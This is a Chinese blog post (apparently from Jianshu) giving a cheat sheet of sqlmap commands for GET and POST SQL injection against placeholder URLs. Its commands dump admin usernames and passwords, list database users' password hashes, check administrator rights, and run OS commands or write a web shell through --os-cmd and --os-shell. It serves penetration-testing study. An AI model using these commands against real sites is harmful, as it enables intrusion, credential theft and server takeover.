sqlmap详解

GET注入

sqlmap.py -u "url" 检测存在不存在注入

sqlmap.py -u "url" --tables    列出数据库的表

sqlmap.py -u "url" --columns -T admin    列出admin的内容

sqlmap.py -u "url" --dump -T admin "useradmin,password"    列出useradmin password的内容

POST注入

sqlmap.py -u "www.xxx.com/index.php" --data "user=1&pass=1" --dbs 指定post参数注入出数据库

sqlmap.py -u "www.xxx.com/index.php" --forms    sqlmap自动查找网页上的表单,并注入

sqlmap.py -r 1.txt -p user 用burp抓包,保存为1.txt 然后用-r参数注入,用-p参数来指定网页上的参数

查看权限写shell

sqlmap.py -u "url" --user 列出数据库的所以用户

sqlmap.py -u "url" --passwords 列出数据库用户的密码

sqlmap.py -u "url" --current-db 查看当前使用网站数据库的名字

sqlmap.py -u "url" --current-user 查看当前网站数据库的用户名称

sqlmap.py -u "url" --is-dba 查看当前用户是否是管理员权限   True代表有,如果没有的话就是False

如果,你验证了,是dba权限,那么就可以执行下面的命令了。

在数据库为mysql、postgresql、sql server时可以用    sqlmap.py -u "url" --os-cmd 来模拟一个cmd命令,然后执行一些命令,比如    sqlmap.py -u "url" --os-cmd=ipconfig 来获得ip。

sqlmap.py -u "url" --os-shell 写入一个shell,这里默认是php,如果是别的要自己选择。


其他参数

#sqlmap --techenique 参数

B:布尔型注入

E:报错型注入

U:可联合查询注入

S:可多语句查询注入

T:基于时间延迟注入

--dbms=”mysql”指定 mysql 数据库

--level=x  x是要指定的数

©著作权归作者所有,转载或内容合作请联系作者
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

推荐阅读更多精彩内容

  • sqlmap是一个开源的渗透测试工具,可以用来进行自动化检测,利用SQL注入漏洞,获取数据库服务器的权限。它具有功...
    道书简阅读 1,473评论 0 0
  • http://192.168.136.131/sqlmap/mysql/get_int.php?id=1 当给sq...
    xuningbo阅读 10,484评论 2 22
  • sqlmap用户手册 说明:本文为转载,对原文中一些明显的拼写错误进行修正,并标注对自己有用的信息。 ======...
    wind_飘阅读 2,138评论 0 5
  • sqlmap也是渗透中常用的一个注入工具,其实在注入工具方面,一个sqlmap就足够用了,只要你用的熟,秒杀各种工...
    linkally阅读 7,011评论 1 40
  • SQLMAP作用 判断可注入的参数 判断可以用哪种SQL注入技术来注入 识别出哪种数据库 根据用户选择,读取哪些数...
    陆洒脱阅读 3,751评论 1 4